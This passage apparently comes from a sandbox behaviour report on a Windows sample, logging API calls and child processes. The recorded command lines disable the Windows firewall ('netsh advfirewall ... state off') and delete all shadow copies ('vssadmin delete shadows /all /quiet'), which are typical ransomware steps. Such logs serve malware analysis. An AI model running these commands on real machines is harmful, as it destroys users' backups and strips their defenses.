RtlAllocateHeap (HeapHandle=0x19577e40000, Flags=0x8, Size=0xffde) returned 0x19577e48fe0 [0040.626] GetProcessHeap () returned 0x19577e40000 [0040.626] RtlAllocateHeap (HeapHandle=0x19577e40000, Flags=0x8, Size=0x70) returned 0x19577e483e0 [0040.626] _wcsnicmp (_String1="nets", _String2="cmd ", _MaxCount=0x4) returned 11 [0040.626] malloc (_Size=0xffce) returned 0x19577f70820 [0040.626] ??_V@YAXPEAX@Z () returned 0x19577f70820 [0040.627] GetProcessHeap () returned 0x19577e40000 [0040.627] RtlAllocateHeap (HeapHandle=0x19577e40000, Flags=0x8, Size=0x1ffac) returned 0x19577e58fd0 [0040.628] SetErrorMode (uMode=0x0) returned 0x0 [0040.628] SetErrorMode (uMode=0x1) returned 0x0 [0040.628] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x19577e58fe0, lpFilePart=0x6c08ff180 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x6c08ff180*="Desktop") returned 0x17 [0040.628] SetErrorMode (uMode=0x0) returned 0x1 [0040.629] GetProcessHeap () returned 0x19577e40000 [0040.629] RtlReAllocateHeap (Heap=0x19577e40000, Flags=0x0, Ptr=0x19577e58fd0, Size=0x4c) returned 0x19577e58fd0 [0040.629] GetProcessHeap () returned 0x19577e40000 [0040.629] RtlSizeHeap (HeapHandle=0x19577e40000, Flags=0x0, MemoryPointer=0x19577e58fd0) returned 0x4c [0040.629] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff65307bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0040.629] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0040.629] GetProcessHeap () returned 0x19577e40000 [0040.629] RtlAllocateHeap (HeapHandle=0x19577e40000, Flags=0x8, Size=0x1bc) returned 0x19577e46c30 [0040.629] GetProcessHeap () returned 0x19577e40000 [0040.629] RtlAllocateHeap (HeapHandle=0x19577e40000, Flags=0x8, Size=0x368) returned 0x19577e59030 [0040.633] GetProcessHeap () returned 0x19577e40000 [0040.633] RtlReAllocateHeap (Heap=0x19577e40000, Flags=0x0, Ptr=0x19577e59030, Size=0x1be) returned 0x19577e59030 [0040.633] GetProcessHeap () returned 0x19577e40000 [0040.633] RtlSizeHeap (HeapHandle=0x19577e40000, Flags=0x0, MemoryPointer=0x19577e59030) returned 0x1be [0040.633] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff65307bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0040.633] GetProcessHeap () returned 0x19577e40000 [0040.633] RtlAllocateHeap (HeapHandle=0x19577e40000, Flags=0x8, Size=0xe8) returned 0x19577e46e00 [0040.633] GetProcessHeap () returned 0x19577e40000 [0040.633] RtlReAllocateHeap (Heap=0x19577e40000, Flags=0x0, Ptr=0x19577e46e00, Size=0x7e) returned 0x19577e46e00 [0040.633] GetProcessHeap () returned 0x19577e40000 [0040.633] RtlSizeHeap (HeapHandle=0x19577e40000, Flags=0x0, MemoryPointer=0x19577e46e00) returned 0x7e [0040.633] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0040.634] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\netsh.*", fInfoLevelId=0x1, lpFindFileData=0x6c08feef0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x6c08feef0) returned 0xffffffffffffffff [0040.634] GetLastError () returned 0x2 [0040.634] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0040.634] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\netsh.*", fInfoLevelId=0x1, lpFindFileData=0x6c08feef0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x6c08feef0) returned 0xffffffffffffffff [0040.634] GetLastError () returned 0x2 [0040.634] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0040.634] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\netsh.*", fInfoLevelId=0x1, lpFindFileData=0x6c08feef0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x6c08feef0) returned 0x19577e46e90 [0040.634] GetProcessHeap () returned 0x19577e40000 [0040.634] RtlAllocateHeap (HeapHandle=0x19577e40000, Flags=0x0, Size=0x28) returned 0x19577e46ef0 [0040.634] FindClose (in: hFindFile=0x19577e46e90 | out: hFindFile=0x19577e46e90) returned 1 [0040.634] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\netsh.COM", fInfoLevelId=0x1, lpFindFileData=0x6c08feef0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x6c08feef0) returned 0xffffffffffffffff [0040.635] GetLastError () returned 0x2 [0040.635] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\netsh.EXE", fInfoLevelId=0x1, lpFindFileData=0x6c08feef0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x6c08feef0) returned 0x19577e46e90 [0040.635] GetProcessHeap () returned 0x19577e40000 [0040.635] RtlReAllocateHeap (Heap=0x19577e40000, Flags=0x0, Ptr=0x19577e46ef0, Size=0x8) returned 0x19577e46ef0 [0040.635] FindClose (in: hFindFile=0x19577e46e90 | out: hFindFile=0x19577e46e90) returned 1 [0040.635] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0040.635] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0040.635] ??_V@YAXPEAX@Z () returned 0x1 [0040.635] GetConsoleTitleW (in: lpConsoleTitle=0x6c08ff470, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0040.649] GetProcessHeap () returned 0x19577e40000 [0040.649] RtlAllocateHeap (HeapHandle=0x19577e40000, Flags=0x8, Size=0x21c) returned 0x19577e59200 [0040.649] GetConsoleTitleW (in: lpConsoleTitle=0x19577e59210, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0040.657] GetProcessHeap () returned 0x19577e40000 [0040.657] RtlReAllocateHeap (Heap=0x19577e40000, Flags=0x0, Ptr=0x19577e59200, Size=0xd8) returned 0x19577e59200 [0040.657] GetProcessHeap () returned 0x19577e40000 [0040.657] RtlSizeHeap (HeapHandle=0x19577e40000, Flags=0x0, MemoryPointer=0x19577e59200) returned 0xd8 [0040.657] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - netsh advfirewall set currentprofile state off") returned 1 [0040.801] GetProcessHeap () returned 0x19577e40000 [0040.801] RtlFreeHeap (HeapHandle=0x19577e40000, Flags=0x0, BaseAddress=0x19577e59200) returned 1 [0040.801] InitializeProcThreadAttributeList (in: lpAttributeList=0x6c08ff390, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x6c08ff280 | out: lpAttributeList=0x6c08ff390, lpSize=0x6c08ff280) returned 1 [0040.801] UpdateProcThreadAttribute (in: lpAttributeList=0x6c08ff390, dwFlags=0x0, Attribute=0x60001, lpValue=0x6c08ff26c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x6c08ff390, lpPreviousValue=0x0) returned 1 [0040.801] GetStartupInfoW (in: lpStartupInfo=0x6c08ff320 | out: lpStartupInfo=0x6c08ff320*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x2a4, hStdOutput=0x2b0, hStdError=0x2b0)) [0040.801] GetProcessHeap () returned 0x19577e40000 [0040.801] RtlAllocateHeap (HeapHandle=0x19577e40000, Flags=0x8, Size=0x20) returned 0x19577e46e90 [0040.801] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0040.801] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0040.801] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0040.801] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0040.801] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0040.801] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0040.801] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0040.801] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0040.801] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0040.801] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0040.801] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0040.801] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0040.801] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0040.801] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0040.801] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0040.801] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0040.801] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0040.801] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0040.801] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0040.801] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0040.801] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0040.801] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0040.801] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0040.801] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0040.801] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0040.801] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0040.801] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0040.801] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0040.801] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0040.801] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0040.802] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0040.802] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0040.802] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0040.802] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0040.802] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0040.802] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0040.802] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0040.802] GetProcessHeap () returned 0x19577e40000 [0040.802] RtlFreeHeap (HeapHandle=0x19577e40000, Flags=0x0, BaseAddress=0x19577e46e90) returned 1 [0040.802] GetProcessHeap () returned 0x19577e40000 [0040.802] RtlAllocateHeap (HeapHandle=0x19577e40000, Flags=0x8, Size=0x12) returned 0x19577e46f10 [0040.802] _get_osfhandle (_FileHandle=1) returned 0x2b0 [0040.802] SetConsoleMode (hConsoleHandle=0x2b0, dwMode=0x0) returned 0 [0040.802] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.802] SetConsoleMode (hConsoleHandle=0x2a4, dwMode=0x0) returned 0 [0040.802] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\netsh.exe", lpCommandLine="netsh advfirewall set currentprofile state off", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x6c08ff2b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="netsh advfirewall set currentprofile state off", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x6c08ff288 | out: lpCommandLine="netsh advfirewall set currentprofile state off", lpProcessInformation=0x6c08ff288*(hProcess=0x98, hThread=0x94, dwProcessId=0xf74, dwThreadId=0xc58)) returned 1 [0041.004] CloseHandle (hObject=0x94) returned 1 [0041.004] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0041.004] GetProcessHeap () returned 0x19577e40000 [0041.004] RtlFreeHeap (HeapHandle=0x19577e40000, Flags=0x0, BaseAddress=0x19577e48500) returned 1 [0041.004] GetEnvironmentStringsW () returned 0x19577e48500* [0041.004] GetProcessHeap () returned 0x19577e40000 [0041.004] RtlAllocateHeap (HeapHandle=0x19577e40000, Flags=0x8, Size=0xacc) returned 0x19577e59520 [0041.004] FreeEnvironmentStringsA (penv="=") returned 1 [0041.004] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff931f40000 [0041.004] GetProcAddress (hModule=0x7ff931f40000, lpProcName="NtQueryInformationProcess") returned 0x7ff931fe56b0 [0041.004] NtQueryInformationProcess (in: ProcessHandle=0x98, ProcessInformationClass=0x0, ProcessInformation=0x6c08fe788, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6c08fe788, ReturnLength=0x0) returned 0x0 [0041.004] ReadProcessMemory (in: hProcess=0x98, lpBaseAddress=0x31806b2000, lpBuffer=0x6c08fe7c0, nSize=0x7a0, lpNumberOfBytesRead=0x6c08fe780 | out: lpBuffer=0x6c08fe7c0*, lpNumberOfBytesRead=0x6c08fe780*=0x7a0) returned 1 [0041.004] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) returned 0x0 [0066.380] GetExitCodeProcess (in: hProcess=0x98, lpExitCode=0x6c08ff208 | out: lpExitCode=0x6c08ff208*=0x40010004) returned 1 [0066.380] CloseHandle (hObject=0x98) returned 1 [0066.380] _vsnwprintf (in: _Buffer=0x6c08ff3d8, _BufferCount=0x13, _Format="%08X", _ArgList=0x6c08ff218 | out: _Buffer="40010004") returned 8 [0066.380] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="40010004") returned 1 [0066.380] GetProcessHeap () returned 0x19577e40000 [0066.380] RtlFreeHeap (HeapHandle=0x19577e40000, Flags=0x0, BaseAddress=0x19577e59520) returned 1 [0066.380] GetEnvironmentStringsW () returned 0x19577e5cfc0* [0066.380] GetProcessHeap () returned 0x19577e40000 [0066.380] RtlAllocateHeap (HeapHandle=0x19577e40000, Flags=0x8, Size=0xaf2) returned 0x19577e5dac0 [0066.382] FreeEnvironmentStringsA (penv="=") returned 1 [0066.382] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0066.382] GetProcessHeap () returned 0x19577e40000 [0066.382] RtlFreeHeap (HeapHandle=0x19577e40000, Flags=0x0, BaseAddress=0x19577e5dac0) returned 1 [0066.383] GetEnvironmentStringsW () returned 0x19577e5cfc0* [0066.383] GetProcessHeap () returned 0x19577e40000 [0066.383] RtlAllocateHeap (HeapHandle=0x19577e40000, Flags=0x8, Size=0xaf2) returned 0x19577e5dac0 [0066.383] FreeEnvironmentStringsA (penv="=") returned 1 [0066.383] GetProcessHeap () returned 0x19577e40000 [0066.383] RtlFreeHeap (HeapHandle=0x19577e40000, Flags=0x0, BaseAddress=0x19577e46f10) returned 1 [0066.383] DeleteProcThreadAttributeList (in: lpAttributeList=0x6c08ff390 | out: lpAttributeList=0x6c08ff390) [0066.383] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0066.582] ??_V@YAXPEAX@Z () returned 0x1 [0066.582] _get_osfhandle (_FileHandle=1) returned 0x2b0 [0066.583] SetConsoleMode (hConsoleHandle=0x2b0, dwMode=0x0) Thread: id = 25 os_tid = 0xf4c Thread: id = 142 os_tid = 0x10e4 Process: id = "5" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x1131a000" os_pid = "0xcdc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xc34" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 14 os_tid = 0x324 Thread: id = 17 os_tid = 0xe44 Thread: id = 19 os_tid = 0xcbc Thread: id = 20 os_tid = 0xffc Thread: id = 21 os_tid = 0xbe4 Process: id = "6" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x6f2c3000" os_pid = "0xf90" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0xa8c" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 15 os_tid = 0xf00 Thread: id = 16 os_tid = 0xdb8 Thread: id = 18 os_tid = 0xef4 Thread: id = 22 os_tid = 0xf1c Thread: id = 23 os_tid = 0x910 Process: id = "7" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x6552000" os_pid = "0x1a4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xc34" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 26 os_tid = 0xa34 Thread: id = 27 os_tid = 0xf54 Thread: id = 30 os_tid = 0x2d0 Thread: id = 31 os_tid = 0xd8c Thread: id = 32 os_tid = 0xdc4 Process: id = "8" image_name = "netsh.exe" filename = "c:\\windows\\system32\\netsh.exe" page_root = "0x10975000" os_pid = "0xf74" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0xa8c" cmd_line = "netsh advfirewall set currentprofile state off" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 28 os_tid = 0xc58 [0041.191] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff60a320000 [0041.191] __set_app_type (_Type=0x1) [0041.191] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff60a32a1c0) returned 0x0 [0041.191] __wgetmainargs (in: _Argc=0x7ff60a337668, _Argv=0x7ff60a337670, _Env=0x7ff60a337678, _DoWildCard=0, _StartInfo=0x7ff60a337684 | out: _Argc=0x7ff60a337668, _Argv=0x7ff60a337670, _Env=0x7ff60a337678) returned 0 [0041.192] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0041.192] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff60a320000 [0041.192] _vsnwprintf (in: _Buffer=0x7ff60a339b00, _BufferCount=0x1fff, _Format="%s>", _ArgList=0x3180587338 | out: _Buffer="netsh>") returned 6 [0041.192] GetProcessHeap () returned 0x15270b50000 [0041.192] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5ed70 [0041.192] GetProcessHeap () returned 0x15270b50000 [0041.192] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5ed10 [0041.192] GetProcessHeap () returned 0x15270b50000 [0041.192] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5ef90 [0041.192] GetProcessHeap () returned 0x15270b50000 [0041.192] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5ee50 [0041.192] GetProcessHeap () returned 0x15270b50000 [0041.192] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5ed30 [0041.192] GetProcessHeap () returned 0x15270b50000 [0041.193] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5e8d0 [0041.193] GetProcessHeap () returned 0x15270b50000 [0041.193] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5e9f0 [0041.193] GetProcessHeap () returned 0x15270b50000 [0041.193] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5e990 [0041.193] GetProcessHeap () returned 0x15270b50000 [0041.193] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5ec50 [0041.193] GetProcessHeap () returned 0x15270b50000 [0041.193] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5eed0 [0041.193] GetProcessHeap () returned 0x15270b50000 [0041.193] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5eb10 [0041.193] GetProcessHeap () returned 0x15270b50000 [0041.193] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5ea50 [0041.193] GetProcessHeap () returned 0x15270b50000 [0041.193] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5efd0 [0041.193] GetProcessHeap () returned 0x15270b50000 [0041.193] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5eb30 [0041.193] GetProcessHeap () returned 0x15270b50000 [0041.193] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5e8b0 [0041.193] GetProcessHeap () returned 0x15270b50000 [0041.193] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5e930 [0041.193] GetProcessHeap () returned 0x15270b50000 [0041.193] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5ea10 [0041.193] GetProcessHeap () returned 0x15270b50000 [0041.193] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5e910 [0041.193] GetProcessHeap () returned 0x15270b50000 [0041.193] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5ed90 [0041.193] GetProcessHeap () returned 0x15270b50000 [0041.193] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5ea90 [0041.193] GetProcessHeap () returned 0x15270b50000 [0041.193] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5ef70 [0041.193] GetProcessHeap () returned 0x15270b50000 [0041.193] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5ecb0 [0041.193] GetProcessHeap () returned 0x15270b50000 [0041.193] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5e8f0 [0041.193] GetProcessHeap () returned 0x15270b50000 [0041.193] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5ecd0 [0041.193] GetProcessHeap () returned 0x15270b50000 [0041.193] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5e950 [0041.193] GetProcessHeap () returned 0x15270b50000 [0041.193] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5e970 [0041.193] GetProcessHeap () returned 0x15270b50000 [0041.193] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5eff0 [0041.193] GetProcessHeap () returned 0x15270b50000 [0041.193] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5eef0 [0041.193] GetProcessHeap () returned 0x15270b50000 [0041.193] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5ef30 [0041.193] GetProcessHeap () returned 0x15270b50000 [0041.193] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5ebd0 [0041.193] GetProcessHeap () returned 0x15270b50000 [0041.193] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5ef50 [0041.193] GetProcessHeap () returned 0x15270b50000 [0041.193] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5eab0 [0041.193] GetProcessHeap () returned 0x15270b50000 [0041.194] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5edb0 [0041.194] GetProcessHeap () returned 0x15270b50000 [0041.194] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5ead0 [0041.194] GetProcessHeap () returned 0x15270b50000 [0041.194] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5eb50 [0041.194] GetProcessHeap () returned 0x15270b50000 [0041.194] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5e9b0 [0041.194] GetProcessHeap () returned 0x15270b50000 [0041.194] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5efb0 [0041.194] GetProcessHeap () returned 0x15270b50000 [0041.194] RtlAllocateHeap (HeapHandle=0x15270b50000, Flags=0x0, Size=0x10) returned 0x15270b5e9d0 [0041.194] GetProcessHeap () returned 0x15270b50000 [0041.194] 